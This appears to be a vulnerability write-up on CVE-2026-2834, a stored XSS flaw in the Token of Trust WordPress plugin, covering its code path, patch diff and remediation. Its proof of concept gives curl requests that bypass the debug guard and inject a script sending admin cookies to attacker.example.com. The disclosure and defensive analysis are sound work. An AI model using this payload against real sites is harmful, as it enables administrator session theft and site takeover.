Age Verification & Identity Verification by Token of Trust WordPress plugin banner

CVE-2026-2834: Unauthenticated Stored XSS in Token of Trust Plugin

CVE-2026-2834 is a CVSS 7.2 (High) Unauthenticated Stored Cross-Site Scripting vulnerability in the Age Verification & Identity Verification by Token of Trust WordPress plugin. All versions up to and including 3.32.3 are affected. An unauthenticated attacker can inject arbitrary JavaScript into the plugin’s debug log by sending a single crafted HTTP request. The payload is stored in the WordPress database. It fires automatically the next time any administrator visits the Debug Logs settings page — no extra interaction is needed. A successful attack can result in full admin account takeover.

Vulnerability Summary

FieldValue
Plugin NameAge Verification & Identity Verification by Token of Trust
Plugin Slugtoken-of-trust
CVE IDCVE-2026-2834
CVSS Score7.2 (High)
Vulnerability TypeUnauthenticated Stored Cross-Site Scripting (XSS)
Affected Versions<= 3.32.3
Patched Version3.32.4
PublishedApril 14, 2026
ResearcherTeerachai Somprasong
Wordfence AdvisoryLink

Description

The Token of Trust plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the description parameter in all versions up to and including 3.32.3. The root cause is insufficient input sanitization and missing output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.


Technical Analysis

Vulnerable Code Path

The vulnerability spans three files and follows a store-then-display pattern.

Step 1 — Unauthenticated AJAX handler registration (admin/error-log.php, lines 4–5):

tot_add_action( 'wp_ajax_tot_error_log',        'tot_handle_error_log' );
tot_add_action( 'wp_ajax_nopriv_tot_error_log', 'tot_handle_error_log' );

The nopriv variant registers the handler for users who are not logged in. No nonce is verified anywhere in the handler.

Step 2 — Raw unsanitized input (admin/error-log.php, lines 10–15):

if ( ! isset( $_POST['description'] ) || empty( $_POST['description'] ) ) {
    wp_send_json_success( ... );
    wp_die();
}

$description = trim( $_POST['description'] );

The handler reads $_POST['description'] directly — only a trim() is applied. No sanitize_text_field(), no wp_kses(), no escaping.

Step 3 — Debug mode guard bypass (Modules/Verification/Shared/Debugger.php, line 79):

if ( ! tot_debug_mode() && ! \TOT\Shared\Settings::get_param_or_cookie( 'debug_mode' ) ) {
    return;
}

get_param_or_cookie() reads directly from $_COOKIE['debug_mode']. Because this is PHP’s superglobal, any HTTP request that includes a Cookie: debug_mode=1 header satisfies this condition. An attacker controls their own HTTP request headers, so this guard is easy to bypass.

tot_debug_mode() (legacy.php:14–15) is:

function tot_debug_mode() {
    return time() < \TOT\Shared\Settings::get_setting( 'debug_mode' );
}

By default debug_mode is 0, so time() < 0 is false. The guard therefore relies entirely on the attacker-controlled cookie when the admin has not manually enabled debug mode.

Step 4 — Unsanitized storage to database (Modules/Verification/Shared/Debugger.php, lines 96–99):

$new_log = array(
    'timestamp' => current_time( 'mysql' ),
    'body'      => print_r( $log, true ),
    'type'      => $type,
);

if ( ! empty( $head ) ) {
    $new_log['head']   = $head;    // ← raw attacker-controlled value stored
    $this->new_heads[] = $head;
}

$this->new_logs[] = $new_log;

Debugger writes the raw $head value — which comes directly from $_POST['description'] — into the tot_logs WordPress option via update_option(), with no sanitization.

Step 5 — Unescaped output to admin page (admin/settings-page/view-logs.php, line 13):

$logs = get_option( 'tot_logs', array() );
foreach ( $logs as $item ) {
    $notice = '';
    if ( isset( $item['head'] ) ) {
        $notice .= '<h3>' . $item['head'] . '</h3>';  // ← no esc_html()
    }
    ...
    printf(
        '<div class="notice notice-%2$s">%3$s %1$s</div>',
        ...,
        $item['type'],
        $notice   // ← rendered raw into the page
    );
}

view-logs.php prints the head field directly inside an <h3> tag without calling esc_html(). Any HTML or JavaScript stored in that field executes when an administrator visits WP Admin → Token of Trust → Debug Logs.

Root Cause

Two independent failures combine to create the vulnerability:

  1. No authentication or nonce check on the AJAX endpoint. Any unauthenticated HTTP client can call wp-admin/admin-ajax.php?action=tot_error_log.
  2. No output escaping in the log display template. $item['head'] is rendered as raw HTML with '<h3>' . $item['head'] . '</h3>'.

Either fix alone would have prevented exploitation. The input arrives unsanitized, travels through the database, and is rendered unsanitized. This is a classic second-order (stored) XSS.

Why Existing Controls Failed

Debug mode guard: The guard at Debugger::log() line 79 was intended to prevent storing log entries outside of a debugging session. It does not work. The second condition reads $_COOKIE['debug_mode'] directly — a value the attacker supplies in their own HTTP request. The guard therefore protects nothing against any attacker who tries.

Body escaping: view-logs.php line 21 does apply esc_html() to $item['body'], but not to $item['head']. The head is the value that originates from $_POST['description']. The asymmetric escaping left the injection point unprotected.

Attack Impact

An unauthenticated attacker can inject arbitrary JavaScript that executes in the browser of any administrator who visits the Debug Logs settings page. Typical impacts include:


Proof of Concept

Disclaimer: This PoC is provided for educational and defensive security research purposes only. Do not use against any system without explicit written authorization.

Prerequisites

Step-by-Step Reproduction

Step 1: Inject the XSS payload

Send a POST request to the WordPress AJAX endpoint. The Cookie: debug_mode=1 header bypasses the debug-mode guard in Debugger::log().

curl -s -X POST \
  'https://TARGET.example.com/wp-admin/admin-ajax.php' \
  -H 'Cookie: debug_mode=1' \
  -d 'action=tot_error_log' \
  -d 'description=<script>fetch("https://attacker.example.com/steal?c="+document.cookie)</script>' \
  -d 'severity=error'

Expected response (success):

{"success":true,"data":[]}

A success response confirms the payload was accepted and stored in the tot_logs WordPress option.

Step 2: Verify storage in the database (optional)

Using WP-CLI on the target server:

wp option get tot_logs --format=json | python3 -m json.tool | head -20

The injected description value should appear in the head field of the first log entry.

Step 3: Trigger XSS — wait for admin to visit Debug Logs

The payload fires when any administrator navigates to:

WP Admin → Token of Trust → Settings → (Debug Logs tab)

The page renders:

<h3><script>fetch("https://attacker.example.com/steal?c="+document.cookie)</script></h3>

The script executes in the administrator’s browser with full access to the wp-admin session cookie.

Expected Result

The attacker’s JavaScript executes in the administrator’s browser session. In the example above, the admin’s cookies are sent to the attacker’s server. With that session cookie, the attacker can perform any action the administrator can — including installing plugins or creating new administrator accounts.

Verification

Check the listener for an incoming request:

GET /steal?c=wordpress_logged_in_XXXX=admin%7C1234567890%7C... HTTP/1.1

Alternatively, substitute a confirm() or alert() payload for in-browser visual confirmation:

curl -s -X POST \
  'https://TARGET.example.com/wp-admin/admin-ajax.php' \
  -H 'Cookie: debug_mode=1' \
  -d 'action=tot_error_log' \
  -d 'description=<img src=x onerror=alert(document.domain)>' \
  -d 'severity=error'

Patch Analysis

What Changed

Three files were modified in version 3.32.4:

FileChange
admin/error-log.phpAdded nonce verification; sanitized all inputs
admin/settings-page/view-logs.phpAdded esc_html() on head and timestamp; used wp_kses_post() for output
Modules/Verification/Shared/Debugger.phpApplied wp_strip_all_tags() to body; replaced <b> HTML tags with ** markdown
Modules/Shared/Assets/tot-error-log.jsAdded _ajax_nonce field to AJAX requests
admin/enqueue-js.phpGenerates and localizes errorLogNonce for admin context
site/enqueue-css.phpGenerates and localizes errorLogNonce for front-end context

Fix Explanation

Primary fix — nonce verification (admin/error-log.php):

// PATCHED
if ( ! wp_verify_nonce( $_POST['_ajax_nonce'] ?? '', 'tot-error-log' ) ) {
    wp_send_json_error( 'Invalid security token.' );
    wp_die();
}

A WordPress nonce tied to the action tot-error-log is now required. Nonces are user-session-bound; an unauthenticated attacker cannot forge a valid nonce for a logged-in user’s session. This blocks the attack entirely before any payload reaches the logger.

Secondary fix — input sanitization (admin/error-log.php):

$description = sanitize_textarea_field( trim( $_POST['description'] ?? '' ) );

sanitize_textarea_field() strips all HTML tags and encodes special characters, eliminating the XSS payload at ingestion time.

Tertiary fix — output escaping (admin/settings-page/view-logs.php):

$notice .= '<h3>' . esc_html( $item['head'] ) . '</h3>';
$notice .= '<p>Timestamp: ' . esc_html( $item['timestamp'] ) . '</p>';

esc_html() converts any HTML-special characters in stored values to HTML entities before the browser renders them. This is a defense-in-depth fix: even if a payload somehow bypassed nonce and sanitization, it could not execute.

The fix is complete. All three layers (authentication, sanitization, escaping) are now in place.

Code Diff (Key Changes)

--- a/admin/error-log.php
+++ b/admin/error-log.php
@@ -5,15 +5,14 @@
 tot_add_action( 'wp_ajax_nopriv_tot_error_log', 'tot_handle_error_log' );
 
 function tot_handle_error_log() {
-	$max_post_size = 64000; // 64KB
+	$max_post_size = 64000;
 
-	if ( ! isset( $_POST['description'] ) || empty( $_POST['description'] ) ) {
-		wp_send_json_success( array( 'message' => 'Empty error description, not logged.' ) );
+	if ( ! wp_verify_nonce( $_POST['_ajax_nonce'] ?? '', 'tot-error-log' ) ) {
+		wp_send_json_error( 'Invalid security token.' );
 		wp_die();
 	}
 
-	$description = trim( $_POST['description'] );
+	$description = sanitize_textarea_field( trim( $_POST['description'] ?? '' ) );

--- a/admin/settings-page/view-logs.php
+++ b/admin/settings-page/view-logs.php
@@ -12,7 +12,7 @@
 			$notice = '';
 			if ( isset( $item['head'] ) ) {
-				$notice .= '<h3>' . $item['head'] . '</h3>';
+				$notice .= '<h3>' . esc_html( $item['head'] ) . '</h3>';
 			}
 			if ( isset( $item['timestamp'] ) ) {
-				$notice .= '<p>Timestamp: ' . $item['timestamp'] . '</p>';
+				$notice .= '<p>Timestamp: ' . esc_html( $item['timestamp'] ) . '</p>';
 			}

Timeline

DateEvent
April 14, 2026Vulnerability publicly disclosed by Teerachai Somprasong via Wordfence
April 14, 2026Patched version 3.32.4 released

Remediation

Update the token-of-trust plugin to version 3.32.4 or later immediately.

If an immediate update is not possible, temporarily deactivate the plugin. Alternatively, block unauthenticated POST requests to wp-admin/admin-ajax.php?action=tot_error_log at your WAF or server level.


References

  1. CVE-2026-2834 — NVD/CVE Record
  2. Wordfence Advisory
  3. Plugin on WordPress.org

Frequently Asked Questions

What is CVE-2026-2834?

CVE-2026-2834 is a CVSS 7.2 High severity Unauthenticated Stored Cross-Site Scripting vulnerability in the Age Verification & Identity Verification by Token of Trust WordPress plugin that lets any visitor inject JavaScript into the admin debug log, which then executes in every administrator's browser.

Which versions of Age Verification & Identity Verification by Token of Trust are affected by CVE-2026-2834?

All versions up to and including 3.32.3 are vulnerable. Version 3.32.4 contains the fix and is safe to use.

What can an attacker do with CVE-2026-2834?

An attacker can store malicious JavaScript in the plugin's debug log without any account. When an administrator opens the Debug Logs settings page, that script runs and can steal session cookies, create rogue admin accounts, or install malicious plugins.

Does an attacker need to be logged in to exploit CVE-2026-2834?

No. The vulnerable AJAX endpoint accepts requests from anyone, including visitors who are not logged in to WordPress.

How do I fix CVE-2026-2834 in Age Verification & Identity Verification by Token of Trust?

Update the Token of Trust plugin to version 3.32.4 or later through the WordPress admin Plugins screen or WP-CLI. If you cannot update right away, deactivate the plugin until you can.

Has Age Verification & Identity Verification by Token of Trust been patched for CVE-2026-2834?

Yes. Version 3.32.4 was released on April 14, 2026 and fully resolves this vulnerability by adding nonce verification, input sanitization, and output escaping.

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee